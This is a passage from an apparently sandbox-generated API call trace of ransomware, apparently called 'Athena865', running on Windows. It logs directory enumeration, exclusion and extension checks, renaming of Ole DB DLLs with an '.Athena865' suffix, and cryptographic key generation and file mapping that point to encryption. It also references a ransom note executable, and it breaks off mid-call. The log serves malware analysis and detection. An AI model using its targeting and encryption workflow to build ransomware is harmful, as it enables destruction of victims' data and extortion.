1 [0119.097] lstrcmpiW (lpString1="msdasqlr.dll", lpString2="..") returned 1 [0119.097] lstrcmpiW (lpString1="msdasqlr.dll", lpString2="windows") returned -1 [0119.097] lstrcmpiW (lpString1="msdasqlr.dll", lpString2="bootmgr") returned 1 [0119.097] lstrcmpiW (lpString1="msdasqlr.dll", lpString2="temp") returned -1 [0119.097] lstrcmpiW (lpString1="msdasqlr.dll", lpString2="pagefile.sys") returned -1 [0119.097] lstrcmpiW (lpString1="msdasqlr.dll", lpString2="boot") returned 1 [0119.097] lstrcmpiW (lpString1="msdasqlr.dll", lpString2="ids.txt") returned 1 [0119.097] lstrcmpiW (lpString1="msdasqlr.dll", lpString2="ntuser.dat") returned -1 [0119.097] lstrcmpiW (lpString1="msdasqlr.dll", lpString2="perflogs") returned -1 [0119.097] lstrcmpiW (lpString1="msdasqlr.dll", lpString2="MSBuild") returned 1 [0119.097] lstrlenW (lpString="msdasqlr.dll") returned 12 [0119.097] lstrcpyW (in: lpString1=0x241e8a0, lpString2="msdasqlr.dll" | out: lpString1="msdasqlr.dll") returned="msdasqlr.dll" [0119.097] lstrlenW (lpString="msdasqlr.dll") returned 12 [0119.097] lstrlenW (lpString="Athena865") returned 9 [0119.097] lstrcmpiW (lpString1="asqlr.dll", lpString2="Athena865") returned -1 [0119.097] lstrlenW (lpString=".dll") returned 4 [0119.097] lstrcmpiW (lpString1="msdasqlr.dll", lpString2=".dll") returned 1 [0119.098] lstrlenW (lpString=".lnk") returned 4 [0119.098] lstrcmpiW (lpString1="msdasqlr.dll", lpString2=".lnk") returned 1 [0119.098] lstrlenW (lpString=".ini") returned 4 [0119.098] lstrcmpiW (lpString1="msdasqlr.dll", lpString2=".ini") returned 1 [0119.098] lstrlenW (lpString=".sys") returned 4 [0119.098] lstrcmpiW (lpString1="msdasqlr.dll", lpString2=".sys") returned 1 [0119.098] lstrlenW (lpString="msdasqlr.dll") returned 12 [0119.098] lstrlenW (lpString="bak") returned 3 [0119.098] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0119.098] lstrlenW (lpString="ba_") returned 3 [0119.098] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0119.098] lstrlenW (lpString="dbb") returned 3 [0119.098] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0119.098] lstrlenW (lpString="vmdk") returned 4 [0119.098] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0119.098] lstrlenW (lpString="rar") returned 3 [0119.098] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0119.098] lstrlenW (lpString="zip") returned 3 [0119.098] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0119.098] lstrlenW (lpString="tgz") returned 3 [0119.098] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0119.098] lstrlenW (lpString="vbox") returned 4 [0119.098] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0119.098] lstrlenW (lpString="vdi") returned 3 [0119.098] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0119.098] lstrlenW (lpString="vhd") returned 3 [0119.098] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0119.098] lstrlenW (lpString="vhdx") returned 4 [0119.098] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0119.098] lstrlenW (lpString="avhd") returned 4 [0119.099] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0119.099] lstrlenW (lpString="db") returned 2 [0119.099] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0119.099] lstrlenW (lpString="db2") returned 3 [0119.099] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0119.099] lstrlenW (lpString="db3") returned 3 [0119.099] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0119.099] lstrlenW (lpString="dbf") returned 3 [0119.099] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0119.099] lstrlenW (lpString="mdf") returned 3 [0119.099] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0119.099] lstrlenW (lpString="mdb") returned 3 [0119.099] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0119.099] lstrlenW (lpString="sql") returned 3 [0119.099] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0119.099] lstrlenW (lpString="sqlite") returned 6 [0119.099] lstrcmpiW (lpString1="lr.dll", lpString2="sqlite") returned -1 [0119.099] lstrlenW (lpString="sqlite3") returned 7 [0119.099] lstrcmpiW (lpString1="qlr.dll", lpString2="sqlite3") returned -1 [0119.099] lstrlenW (lpString="sqlitedb") returned 8 [0119.099] lstrcmpiW (lpString1="sqlr.dll", lpString2="sqlitedb") returned 1 [0119.099] lstrlenW (lpString="xml") returned 3 [0119.099] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0119.099] lstrlenW (lpString="$er") returned 3 [0119.099] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0119.099] lstrlenW (lpString="4dd") returned 3 [0119.099] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0119.099] lstrlenW (lpString="4dl") returned 3 [0119.099] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0119.099] lstrlenW (lpString="^^^") returned 3 [0119.100] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0119.100] lstrlenW (lpString="abs") returned 3 [0119.100] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0119.100] lstrlenW (lpString="abx") returned 3 [0119.100] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0119.100] lstrlenW (lpString="accdb") returned 5 [0119.100] lstrcmpiW (lpString1="r.dll", lpString2="accdb") returned 1 [0119.100] lstrlenW (lpString="accdc") returned 5 [0119.100] lstrcmpiW (lpString1="r.dll", lpString2="accdc") returned 1 [0119.100] lstrlenW (lpString="accde") returned 5 [0119.100] lstrcmpiW (lpString1="r.dll", lpString2="accde") returned 1 [0119.100] lstrlenW (lpString="accdr") returned 5 [0119.100] lstrcmpiW (lpString1="r.dll", lpString2="accdr") returned 1 [0119.100] lstrlenW (lpString="accdt") returned 5 [0119.100] lstrcmpiW (lpString1="r.dll", lpString2="accdt") returned 1 [0119.100] lstrlenW (lpString="accdw") returned 5 [0119.100] lstrcmpiW (lpString1="r.dll", lpString2="accdw") returned 1 [0119.100] lstrlenW (lpString="accft") returned 5 [0119.100] lstrcmpiW (lpString1="r.dll", lpString2="accft") returned 1 [0119.100] lstrlenW (lpString="adb") returned 3 [0119.100] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0119.100] lstrlenW (lpString="adb") returned 3 [0119.100] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0119.100] lstrlenW (lpString="ade") returned 3 [0119.100] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0119.100] lstrlenW (lpString="adf") returned 3 [0119.100] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0119.100] lstrlenW (lpString="adn") returned 3 [0119.100] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0119.100] lstrlenW (lpString="adp") returned 3 [0119.100] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0119.101] lstrlenW (lpString="alf") returned 3 [0119.101] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0119.101] lstrlenW (lpString="ask") returned 3 [0119.101] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0119.101] lstrlenW (lpString="btr") returned 3 [0119.101] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0119.101] lstrlenW (lpString="cat") returned 3 [0119.101] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0119.101] lstrlenW (lpString="cdb") returned 3 [0119.101] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0119.101] lstrlenW (lpString="ckp") returned 3 [0119.101] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0119.101] lstrlenW (lpString="cma") returned 3 [0119.101] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0119.101] lstrlenW (lpString="cpd") returned 3 [0119.101] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0119.101] lstrlenW (lpString="dacpac") returned 6 [0119.101] lstrcmpiW (lpString1="lr.dll", lpString2="dacpac") returned 1 [0119.101] lstrlenW (lpString="dad") returned 3 [0119.101] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0119.101] lstrlenW (lpString="dadiagrams") returned 10 [0119.101] lstrcmpiW (lpString1="dasqlr.dll", lpString2="dadiagrams") returned 1 [0119.101] lstrlenW (lpString="daschema") returned 8 [0119.101] lstrcmpiW (lpString1="sqlr.dll", lpString2="daschema") returned 1 [0119.101] lstrlenW (lpString="db-journal") returned 10 [0119.101] lstrcmpiW (lpString1="dasqlr.dll", lpString2="db-journal") returned -1 [0119.101] lstrlenW (lpString="db-shm") returned 6 [0119.101] lstrcmpiW (lpString1="lr.dll", lpString2="db-shm") returned 1 [0119.101] lstrlenW (lpString="db-wal") returned 6 [0119.101] lstrcmpiW (lpString1="lr.dll", lpString2="db-wal") returned 1 [0119.102] lstrlenW (lpString="dbc") returned 3 [0119.102] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0119.102] lstrlenW (lpString="dbs") returned 3 [0119.102] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0119.102] lstrlenW (lpString="dbt") returned 3 [0119.102] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0119.102] lstrlenW (lpString="dbv") returned 3 [0119.102] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0119.102] lstrlenW (lpString="dbx") returned 3 [0119.102] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0119.102] lstrlenW (lpString="dcb") returned 3 [0119.102] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0119.102] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0119.102] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll.Athena865") returned 66 [0119.102] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll.athena865"), dwFlags=0x1) returned 1 [0119.103] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.103] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=61440) returned 1 [0119.103] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.104] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0119.104] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.104] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.104] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.104] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.105] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf300, lpName=0x0) returned 0x154 [0119.113] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf300) returned 0x100000 [0119.115] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.116] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.116] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.116] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0119.116] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0119.116] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0119.116] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.116] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.116] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.116] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0119.116] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.116] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.116] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.116] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0119.117] CloseHandle (hObject=0x154) returned 1 [0119.117] CloseHandle (hObject=0x17c) returned 1 [0119.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0119.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.118] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3c3a6b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc3c3a6b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x349f2860, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msdatl3.dll", cAlternateFileName="")) returned 1 [0119.118] lstrcmpiW (lpString1="msdatl3.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.118] lstrcmpiW (lpString1="msdatl3.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.118] lstrcmpiW (lpString1="msdatl3.dll", lpString2=".") returned 1 [0119.118] lstrcmpiW (lpString1="msdatl3.dll", lpString2="..") returned 1 [0119.118] lstrcmpiW (lpString1="msdatl3.dll", lpString2="windows") returned -1 [0119.118] lstrcmpiW (lpString1="msdatl3.dll", lpString2="bootmgr") returned 1 [0119.118] lstrcmpiW (lpString1="msdatl3.dll", lpString2="temp") returned -1 [0119.118] lstrcmpiW (lpString1="msdatl3.dll", lpString2="pagefile.sys") returned -1 [0119.118] lstrcmpiW (lpString1="msdatl3.dll", lpString2="boot") returned 1 [0119.118] lstrcmpiW (lpString1="msdatl3.dll", lpString2="ids.txt") returned 1 [0119.118] lstrcmpiW (lpString1="msdatl3.dll", lpString2="ntuser.dat") returned -1 [0119.118] lstrcmpiW (lpString1="msdatl3.dll", lpString2="perflogs") returned -1 [0119.118] lstrcmpiW (lpString1="msdatl3.dll", lpString2="MSBuild") returned 1 [0119.118] lstrlenW (lpString="msdatl3.dll") returned 11 [0119.118] lstrcpyW (in: lpString1=0x241e8a0, lpString2="msdatl3.dll" | out: lpString1="msdatl3.dll") returned="msdatl3.dll" [0119.118] lstrlenW (lpString="msdatl3.dll") returned 11 [0119.118] lstrlenW (lpString="Athena865") returned 9 [0119.118] lstrcmpiW (lpString1="datl3.dll", lpString2="Athena865") returned 1 [0119.118] lstrlenW (lpString=".dll") returned 4 [0119.118] lstrcmpiW (lpString1="msdatl3.dll", lpString2=".dll") returned 1 [0119.118] lstrlenW (lpString=".lnk") returned 4 [0119.118] lstrcmpiW (lpString1="msdatl3.dll", lpString2=".lnk") returned 1 [0119.118] lstrlenW (lpString=".ini") returned 4 [0119.118] lstrcmpiW (lpString1="msdatl3.dll", lpString2=".ini") returned 1 [0119.119] lstrlenW (lpString=".sys") returned 4 [0119.119] lstrcmpiW (lpString1="msdatl3.dll", lpString2=".sys") returned 1 [0119.119] lstrlenW (lpString="msdatl3.dll") returned 11 [0119.119] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll.Athena865") returned 65 [0119.119] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll.athena865"), dwFlags=0x1) returned 1 [0119.120] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.121] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=131072) returned 1 [0119.121] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.121] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0119.121] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.121] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.122] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.122] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.122] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x20300, lpName=0x0) returned 0x154 [0119.124] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x20300) returned 0x170000 [0119.129] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.129] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.129] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0119.130] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0119.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0119.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.130] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0119.130] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.130] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.130] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.130] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0119.132] CloseHandle (hObject=0x154) returned 1 [0119.132] CloseHandle (hObject=0x17c) returned 1 [0119.132] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0119.132] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.132] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.132] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d2cdc0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x1d2cdc0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x383128c0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msxactps.dll", cAlternateFileName="")) returned 1 [0119.133] lstrcmpiW (lpString1="msxactps.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.133] lstrcmpiW (lpString1="msxactps.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.133] lstrcmpiW (lpString1="msxactps.dll", lpString2=".") returned 1 [0119.133] lstrcmpiW (lpString1="msxactps.dll", lpString2="..") returned 1 [0119.133] lstrcmpiW (lpString1="msxactps.dll", lpString2="windows") returned -1 [0119.133] lstrcmpiW (lpString1="msxactps.dll", lpString2="bootmgr") returned 1 [0119.133] lstrcmpiW (lpString1="msxactps.dll", lpString2="temp") returned -1 [0119.133] lstrcmpiW (lpString1="msxactps.dll", lpString2="pagefile.sys") returned -1 [0119.133] lstrcmpiW (lpString1="msxactps.dll", lpString2="boot") returned 1 [0119.133] lstrcmpiW (lpString1="msxactps.dll", lpString2="ids.txt") returned 1 [0119.133] lstrcmpiW (lpString1="msxactps.dll", lpString2="ntuser.dat") returned -1 [0119.133] lstrcmpiW (lpString1="msxactps.dll", lpString2="perflogs") returned -1 [0119.133] lstrcmpiW (lpString1="msxactps.dll", lpString2="MSBuild") returned 1 [0119.133] lstrlenW (lpString="msxactps.dll") returned 12 [0119.133] lstrcpyW (in: lpString1=0x241e8a0, lpString2="msxactps.dll" | out: lpString1="msxactps.dll") returned="msxactps.dll" [0119.133] lstrlenW (lpString="msxactps.dll") returned 12 [0119.133] lstrlenW (lpString="Athena865") returned 9 [0119.133] lstrcmpiW (lpString1="actps.dll", lpString2="Athena865") returned -1 [0119.133] lstrlenW (lpString=".dll") returned 4 [0119.133] lstrcmpiW (lpString1="msxactps.dll", lpString2=".dll") returned 1 [0119.133] lstrlenW (lpString=".lnk") returned 4 [0119.133] lstrcmpiW (lpString1="msxactps.dll", lpString2=".lnk") returned 1 [0119.133] lstrlenW (lpString=".ini") returned 4 [0119.133] lstrcmpiW (lpString1="msxactps.dll", lpString2=".ini") returned 1 [0119.133] lstrlenW (lpString=".sys") returned 4 [0119.133] lstrcmpiW (lpString1="msxactps.dll", lpString2=".sys") returned 1 [0119.133] lstrlenW (lpString="msxactps.dll") returned 12 [0119.134] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll.Athena865") returned 66 [0119.134] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll.athena865"), dwFlags=0x1) returned 1 [0119.135] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.135] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=36864) returned 1 [0119.135] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.135] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0119.136] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.136] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.136] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.136] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.137] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9300, lpName=0x0) returned 0x154 [0119.138] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9300) returned 0x100000 [0119.140] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.141] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.141] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.141] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0119.141] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0119.141] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0119.141] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.141] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.141] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.141] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0119.141] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.142] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.142] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.142] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0119.142] CloseHandle (hObject=0x154) returned 1 [0119.142] CloseHandle (hObject=0x17c) returned 1 [0119.142] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0119.142] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.142] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.142] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c2ad0f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84c2ad0f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84c50e6f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oledb32.dll", cAlternateFileName="")) returned 1 [0119.143] lstrcmpiW (lpString1="oledb32.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.143] lstrcmpiW 